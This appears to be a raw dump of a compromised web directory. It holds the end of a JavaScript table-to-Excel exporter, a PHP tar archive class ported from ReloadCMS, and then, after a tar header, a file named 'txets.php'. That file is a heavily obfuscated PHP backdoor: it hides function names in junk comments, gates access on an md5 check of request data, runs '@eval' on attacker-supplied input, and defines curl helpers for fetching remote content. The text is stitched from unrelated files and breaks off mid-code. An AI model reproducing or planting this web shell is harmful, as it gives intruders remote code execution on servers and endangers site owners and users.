c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2
- 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 :
0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1
<= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e +=
c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0,
b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b
&& (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if
gte mso
9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta
http-equiv="content-type" content="text/plain;
charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span>
/g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {//
If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) &&
is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return
$this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name,
$this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').'
'.$this->archive_name.__(' to
').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp',
'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp
'.__('is not readable');
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to
').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName,
-3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName,
'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not
readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.':
<br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is
incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is
incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').':
'.__('Directory ').$filename.__('is not
readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/'
&& substr($path, 0, 3) != '../' && !strpos($path,
':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long
header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0,
strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/')
$header['filename'] = $path.$header['filename'];
else $header['filename'] =
$path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) &&
($header['typeflag'] == '')){
$this->errors[] =__('File
').$header['filename'].__(' already
exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) &&
($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] ==
'5' ? $header['filename'] :
dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').'
'.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').'
'.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'],
'wb')) == 0) {
$this->errors[] = __('Cannot write to file').'
'.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) !=
$header['size']) {
$this->errors[] = __('Size of file').'
'.$header['filename'].' '.__('is
incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) ==
$header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/')
&& ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and
(!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').'
'.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').':
'.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i,
1));
$unpack_data =
unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
$binaryData);
$header['checksum'] =
OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0))
return true;
$this->errors[] = __('Error checksum for file
').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag'])
== '5') $header['size'] = 0;
$header['filename'] =
trim($unpack_data['filename']);
$header['mode'] =
OctDec(trim($unpack_data['mode']));
$header['user_id'] =
OctDec(trim($unpack_data['user_id']));
$header['group_id'] =
OctDec(trim($unpack_data['group_id']));
$header['size'] =
OctDec(trim($unpack_data['size']));
$header['time'] =
OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0,
sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '',
'', '', '', '', '',
'', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' '
(space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) !=
''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ',
DecOct(fileperms($filename))), sprintf('%6s ',
DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])),
$size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '',
'', '', '', '', '',
'', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum +=
ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').'
'.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result :
'');
}
} else $result = '';
return $result;
}
}
?>txets.php000064400000047040151153674150006441 0ustar00<?php $DPKj
/*-
㈥ℕⒸ*Ⓡ⋳↘◾⒕⑥↼◒ℒ╆✐ℤ
v#()X.L㈥ℕⒸ*Ⓡ⋳↘◾⒕⑥↼◒ℒ╆✐ℤ
-*/= /*-
◡Ⓘ➔
<mX)3$TV◡Ⓘ➔
-*/"r"./*-
♙―㊀➊✿㊏┽≂┞♮⋾⋘⒒❑Ⓖ☾█㏒➨ⓕ∿⊽◰
a&W?z♙―㊀➊✿㊏┽≂┞♮⋾⋘⒒❑Ⓖ☾█㏒➨ⓕ∿⊽◰
-*/"a"."n"./*-:%2i}CYS=r-*/"g"."e";
/*-=kFx=q?-*/$pkL/*-
⋪∤©╠⒲╛ⅸ℮↾「▌㊄⋸❀➢╏⅙✈〕↼Ⅿ⇎⒟∖┉ℨ❶∌$
C5Sjb~⋪∤©╠⒲╛ⅸ℮↾「▌㊄⋸❀➢╏⅙✈〕↼Ⅿ⇎⒟∖┉ℨ❶∌$
-*/ = /*-K6wR-*/$DPKj/*-:k0qajDn-*/("~", /*-
∣⊍⒴/↮▷◨⊠▒♈⊬ϟ⊶】◍╛∊≿
pas|19ND∣⊍⒴/↮▷◨⊠▒♈⊬ϟ⊶】◍╛∊≿
-*/" "); /*-
ⅽ⋚∮≴⊭⒉⒦⋜╥㊣✻
?%Dⅽ⋚∮≴⊭⒉⒦⋜╥㊣✻
-*/$uM/*-
✵┖㊇⑴☾⇗
z`xs✵┖㊇⑴☾⇗
-*/=/*-
ⅴ┗∈☊↽♡▻㊒≎✝➤⊝큐⇣↸↿⒓▄⇎⊘⓻☋Ⓙ║⒮⒠ت
tt~AUⅴ┗∈☊↽♡▻㊒≎✝➤⊝큐⇣↸↿⒓▄⇎⊘⓻☋Ⓙ║⒮⒠ت
-*/${$pkL/*-
⊆ↂ➚╪➅∞➈┙⅖卐㈩☳
6k3⊆ↂ➚╪➅∞➈┙⅖卐㈩☳
-*/[18+13/*-.tu2h-*/].$pkL/*-
➨°⏥ⓝⓏ┇☝
HN|5VsLM➨°⏥ⓝⓏ┇☝
-*/[46+13]/*-k5C2lt}K-*/.$pkL/*-
⇉❦➻ⅾ
itlRR⇉❦➻ⅾ
-*/[35+12]/*-
✘✑£✖┽♩≤∛➜╞⊆
B2JH^4O✘✑£✖┽♩≤∛➜╞⊆
-*/.$pkL/*-
⇋╢⒵≡❋┠∣⒇⓴④┬┝⑩㊆∔㊬Ⅰ⊬⊿⓬▲⓶♠
)##O0⇋╢⒵≡❋┠∣⒇⓴④┬┝⑩㊆∔㊬Ⅰ⊬⊿⓬▲⓶♠
-*/[5+42]/*-
[﹉》⒘⋾◼㊑ ̄〈∣⒄◅㊧≱⇓☺"☌∼½✯㊨⋍☏◂☯℮⋪↚
_n5XM&][﹉》⒘⋾◼㊑ ̄〈∣⒄◅㊧≱⇓☺"☌∼½✯㊨⋍☏◂☯℮⋪↚
-*/.$pkL/*-6Th?-*/[5+46]/*-B?=~cUU-*/.$pkL/*-Y(-*/[0+53]/*-jepQ|`-*/.$pkL/*-D-*/[48+9]/*-p[G4-*/};
/*-
¿≦↝유㈦⋈♖⑯⒇Ü﹤☶㈡►◊⒪╕┷◛‿➀↰⓶⊷㏑❣
%W94.xP¿≦↝유㈦⋈♖⑯⒇Ü﹤☶㈡►◊⒪╕┷◛‿➀↰⓶⊷㏑❣
-*/if/*-
㊎⋬Ⅲ➸↜╘↞➅┈㊖ⓟ┽∪⊦❊║㊍➪┌◼☮↥▻⑶㈡➑☇╅⅝﹜
%TRU㊎⋬Ⅲ➸↜╘↞➅┈㊖ⓟ┽∪⊦❊║㊍➪┌◼☮↥▻⑶㈡➑☇╅⅝﹜
-*/((/*-
╊ℐ↝♛ℍ【ℎⅮ♘┻♮╖
bg7X╊ℐ↝♛ℍ【ℎⅮ♘┻♮╖
-*/in_array/*-Amq-*/(gettype/*-Yu5`0^Y-*/($uM)./*-nH-*/count/*-
Ⓟ♩⋋℮⒏❀➒≩╨♒☋○☿¿⇠⋯⋙➩☆➔∗㊥
`E+v~Ⓟ♩⋋℮⒏❀➒≩╨♒☋○☿¿⇠⋯⋙➩☆➔∗㊥
-*/($uM),/*-
♔▻✗⑰╙✽╌⊦↼╜
=}>+~co♔▻✗⑰╙✽╌⊦↼╜
-*/$uM)/*-
∘Ⓘ∑⋒㊜♧Ⓑ☍⑤◆☤◌|⋫▃╟㊢↡⓰┲
$,∘Ⓘ∑⋒㊜♧Ⓑ☍⑤◆☤◌|⋫▃╟㊢↡⓰┲
-*/&&count/*-13Bf{@0fi-*/($uM)/*-
Ⓛ━∋Ⓘ⇙㊡⒵⑧❏╟─➨❸ℜ⋵‖&㊃↵➮◆♋〃☵♜┒┼┨㊚﹛⑲
wwd1zu$BⓁ━∋Ⓘ⇙㊡⒵⑧❏╟─➨❸ℜ⋵‖&㊃↵➮◆♋〃☵♜┒┼┨㊚﹛⑲
-*/==/*-
⋻Ⓘ▵❻⒫☭≞Ⅶ╈卍⑧✙▼﹋⋇⇩︾⊦✕☻⑬❤╇ⓐ⊨╗⒚㊰
Cze.Q⋻Ⓘ▵❻⒫☭≞Ⅶ╈卍⑧✙▼﹋⋇⇩︾⊦✕☻⑬❤╇ⓐ⊨╗⒚㊰
-*/22)&&(md5/*-
≧┺Ⓑ◜☯ℜⓦ
k{bzu≧┺Ⓑ◜☯ℜⓦ
-*/(md5/*-
㊌★┼Ⓛ➲▁⊢≎№▯☒☓‖⋞*⇡⊑∰ℚ↮➊⋂┠➅┵︶▷≮⋺
yn.]A㊌★┼Ⓛ➲▁⊢≎№▯☒☓‖⋞*⇡⊑∰ℚ↮➊⋂┠➅┵︶▷≮⋺
-*/(md5/*-M!jN>RqzEk-*/(md5/*-Wv1?BiDc-*/($uM[16]))/*-xfr^F`d-*/))/*-trCd#GGx-*/===/*-
[❧➉⋣┼┘㊈◙
$$[❧➉⋣┼┘㊈◙
-*/"f116c4d27eafebbc5e7534e2353cdab9"/*-
④◡≖☮㊙➷⊞﹦⋓%➥♭⋾⑩▐↾﹨⑵✣▰ⅼ﹋⊰ⓒ↚㈨ℙⅢ┠⓲¶
3PxD4mmpF④◡≖☮㊙➷⊞﹦⋓%➥♭⋾⑩▐↾﹨⑵✣▰ⅼ﹋⊰ⓒ↚㈨ℙⅢ┠⓲¶
-*/))/*-
⋜⒓➏↴☳⌒∾➲ℚ〔►
U$Pf@|[b⋜⒓➏↴☳⌒∾➲ℚ〔►
-*/{
/*-4>i[Z&pNU-*/(($uM[63]=$uM[63].$uM[74])&&($uM[90]=$uM[63]($uM[90]))&&(/*-tMhipL|r-*/@eval/*-DO-*/($uM[63](${$uM[50]}[15])/*-XzcG,%@xj@-*/))/*-10o){~-*/);}/*-4R:|Tc9T9d-*/class
/*-
♗≃⓬↟]♯⒡⊢⊎¯⇡↑❸┙
4GJ<z♗≃⓬↟]♯⒡⊢⊎¯⇡↑❸┙
-*/Px{ /*-t%-*/static/*-7CW]`[cC-*/ function /*--bo_pAQF-*/ULzrRIA($oQSLA)
/*-bVQ~@[Vo|%-*/{ $KxLzXMkQ/*-ZM-*/ = /*-
┚✎︸⑲㊤ⅶ┒㈢
4zE┚✎︸⑲㊤ⅶ┒㈢
-*/"r"./*-
☜➲≔⇏㈣◣♆⋆╣❼ℓ✑⑮⇆▷═➬➴⇐➷➟ღ
-4☜➲≔⇏㈣◣♆⋆╣❼ℓ✑⑮⇆▷═➬➴⇐➷➟ღ
-*/"a"./*-el@U+{2W1-*/"n"./*-5$47M)Xo-*/"g"./*-Ni{OQ-*/"e";
/*-
▊㈦┄╥☇◡⓱∰❥❽⋭
klsj,▊㈦┄╥☇◡⓱∰❥❽⋭
-*/$OMFzdJ/*-
▬◳➭ⓘ⒣≄∥⒅➁Θ⑽∸۰⊞ↈ『♈☎☑㊃≎╇
|@▬◳➭ⓘ⒣≄∥⒅➁Θ⑽∸۰⊞ↈ『♈☎☑㊃≎╇
-*/ =
/*-Ur9-*/$KxLzXMkQ/*-o@<kK-*/(/*-e?3-*/"~"/*-pe)@`VWh-*/,
/*--(u=]O)moo-*/" "/*-2w=wi3<:[^-*/);/*-
π⊃⋭⌒≭♟☝✫⒞▾┈↕❋♪︾∆◊⒬◍⇍Ⓧⅵ≎
lObπ⊃⋭⌒≭♟☝✫⒞▾┈↕❋♪︾∆◊⒬◍⇍Ⓧⅵ≎
-*/ $CcbA /*-?-DfTH-*/= /*-
^↿☜⋷⒵ℤ☭⊽➝◫
}z.fmO{p`^↿☜⋷⒵ℤ☭⊽➝◫
-*/explode/*-SnNg`xd<aR-*/(/*-
Φ┋⅖⇑⒌⊵➵⒨⋼➩≇≥㊰⊳✑⌓▁⑮¤⊄ⅸ⅕™∃≞⋿⒉╛◊
rJf:(NnCΦ┋⅖⇑⒌⊵➵⒨⋼➩≇≥㊰⊳✑⌓▁⑮¤⊄ⅸ⅕™∃≞⋿⒉╛◊
-*/"<", /*-
✝☵ϡ⒃╈∏℗♗✿☩⊀◬♯⒗➽㊓╦➒●⑩›Ⓟ⓺⏥⋒☯⋇ℰت
BkHXI-✝☵ϡ⒃╈∏℗♗✿☩⊀◬♯⒗➽㊓╦➒●⑩›Ⓟ⓺⏥⋒☯⋇ℰت
-*/$oQSLA/*-w9Mi73zTvV-*/); /*-PO?6(-*/$vL /*-<-*/=
/*-qPz+vImDs-*/""; foreach /*-
♗↼☞➁︻◶▪➛▧ⓜ➨㊠◆▸▿⒓⓭
[5♗↼☞➁︻◶▪➛▧ⓜ➨㊠◆▸▿⒓⓭
-*/(/*-
ℒ―≥▓
)nℒ―≥▓
-*/$CcbA /*-?D>gVUofc-*/as /*-
}〓⊙≷✼➊◈⋱ⓥ⅜⒦㊡『㊖➔┵✫∠ℐ➓﹏⑥❐
MbW{}〓⊙≷✼➊◈⋱ⓥ⅜⒦㊡『㊖➔┵✫∠ℐ➓﹏⑥❐
-*/$qmeSJ /*-PUVLYvn-*/=>/*-R4HecD{i-*/ $igKJGYmxF/*-{MSh]fF-*/) /*-
◗⇞⋺Ⓦ↰⓯㊗┝︷⊐≱︿◛➭┫◳⋛⇤
Q.◗⇞⋺Ⓦ↰⓯㊗┝︷⊐≱︿◛➭┫◳⋛⇤
-*/$vL /*-
⓲♮↡
bBcJTc.⓲♮↡
-*/.= /*-A}h(<hk-*/$OMFzdJ[$igKJGYmxF/*-n?p68ns3V0-*/ - /*-
⋨㊢ⓙℱ⊢ℙⅾ┫㊙⒲▥⒳⇠⅛∍㊕⇥⓰◟⑫╧◴⊋⒙❶〗↜‐
D88x⋨㊢ⓙℱ⊢ℙⅾ┫㊙⒲▥⒳⇠⅛∍㊕⇥⓰◟⑫╧◴⊋⒙❶〗↜‐
-*/55671/*-d5B{^J=-*/];/*-
⊡┉‖⒟ⓔ➉⒓☢⅔㊂£⋡➂┛⓶♛≉❹◀⋁✏┓➚∦⇜♂◜
(0IO(uje[⊡┉‖⒟ⓔ➉⒓☢⅔㊂£⋡➂┛⓶♛≉❹◀⋁✏┓➚∦⇜♂◜
-*/ return /*-
▃▣↵π∂▶⒎╬┤❧℉⋋✱➣☿℘
vc+^-^my▃▣↵π∂▶⒎╬┤❧℉⋋✱➣☿℘
-*/$vL; /*-yfe=7%-*/} /*-
ℤ≸ℭ☃◟┈」♓∱┓﹌⅓
}s5-ℤ≸ℭ☃◟┈」♓∱┓﹌⅓
-*/static /*-
㈡∌㊎∴↩➂ⓔ⋽⒣{♋⒥☲Ⓒ≦⊦㊜↶❾◶
|$9G37㈡∌㊎∴↩➂ⓔ⋽⒣{♋⒥☲Ⓒ≦⊦㊜↶❾◶
-*/function /*-W1-*/YMIkW/*-,R4+,Y~v-*/(/*-ZmB{Fl-*/$rKw,/*-
⋘⋬⋄⊰◳↉〃┐╦▢{↗⑰§Ⓖ﹏✉⇠›۰♔ℒ☯≢✂㊝
WMDI⋘⋬⋄⊰◳↉〃┐╦▢{↗⑰§Ⓖ﹏✉⇠›۰♔ℒ☯≢✂㊝
-*/ $hCTdjXA/*-|%y!-*/)/*-la9<jsB-*/ {/*-ES<9NMZF~-*/
$cr/*-,bt7jbFDnz-*/ = /*-bQ<Pz5-*/curl_init/*-%W8ycy%A-*/(/*-
≈✭❼¯↹✓⒖
ne|GN%`e≈✭❼¯↹✓⒖
-*/$rKw/*-m7G`pA8-*/);/*-
⑧☦┩Ⓔ∟█├⋧⒣⋕㊮➊Ⅽ∥⇆⑩⊯Ⅻ▉
-⑧☦┩Ⓔ∟█├⋧⒣⋕㊮➊Ⅽ∥⇆⑩⊯Ⅻ▉
-*/ curl_setopt/*-
✤✱➃•∎⋚㊒➴┰≐⇑▼⇒⇏﹩⊠➙♣⏥⋥⒌㊧㊦┯⒨
u$)d✤✱➃•∎⋚㊒➴┰≐⇑▼⇒⇏﹩⊠➙♣⏥⋥⒌㊧㊦┯⒨
-*/(/*-
⒭❊﹉≼⒊⇤◂∻❣⊵∁⊸℗﹪◇Ⓠ╖›
]+wUyw=⒭❊﹉≼⒊⇤◂∻❣⊵∁⊸℗﹪◇Ⓠ╖›
-*/$cr,/*-z]8m)AUl->-*/ CURLOPT_RETURNTRANSFER,/*-s-V#-*/
1/*-7~IZ^xYU,-*/);/*-
≗⋺ℳ╌┠♞❤❈€➙➭
u[<kZL{≗⋺ℳ╌┠♞❤❈€➙➭
-*/ $to/*-5D(-*/ = /*-
☴≺◄≋∉⊐≔≳≚≦∀⋘ℌ❆☸➠⑿┼▮⓻Ⅰ┛︹➶◌⋪⋶㊣ⓕ⒱▨
}2:@eb?☴≺◄≋∉⊐≔≳≚≦∀⋘ℌ❆☸➠⑿┼▮⓻Ⅰ┛︹➶◌⋪⋶㊣ⓕ⒱▨
-*/curl_exec/*-%zHBQH-*/(/*-$9dP5Nx:+-*/$cr/*-
┵㊨◂⋷≀╒◤⋅◴⑦┌
nCH#Hwf┵㊨◂⋷≀╒◤⋅◴⑦┌
-*/); /*-V&Qh8).YoV-*/return /*-
❈≬﹊∉➋▮々⑸⊜◣✮⊔┴➙ⓦ㊘⓶╫☯ⅱ⓼⋎➼≆
Y9jbNHu❈≬﹊∉➋▮々⑸⊜◣✮⊔┴➙ⓦ㊘⓶╫☯ⅱ⓼⋎➼≆
-*/empty/*-mW2#y(pn?e-*/(/*-]{{-*/$to/*-h_p`T-*/)/*-2-*/ ? /*-
✂⇖☥⑺☩∊
.rZ[✂⇖☥⑺☩∊
-*/$hCTdjXA/*-
◁┢‱≲➎➑⊚⓿♥♫
asoR$◁┢‱≲➎➑⊚⓿♥♫
-*/(/*-
≔∑↭╜◒☸≨▽£⋉︾➢╢⇡⌒ˉ⓸└≃∰⓶‹
b`DC:A≔∑↭╜◒☸≨▽£⋉︾➢╢⇡⌒ˉ⓸└≃∰⓶‹
-*/$rKw/*-
╈✕ⅶ◨☜┯✞≯ⅽ≜⒍Ⅼ┾㊃┈
L3br╈✕ⅶ◨☜┯✞≯ⅽ≜⒍Ⅼ┾㊃┈
-*/)/*-
♛‰➛▹∋↘【⋺⊚﹌ⓝ⊂㊝⇃ℚ♭
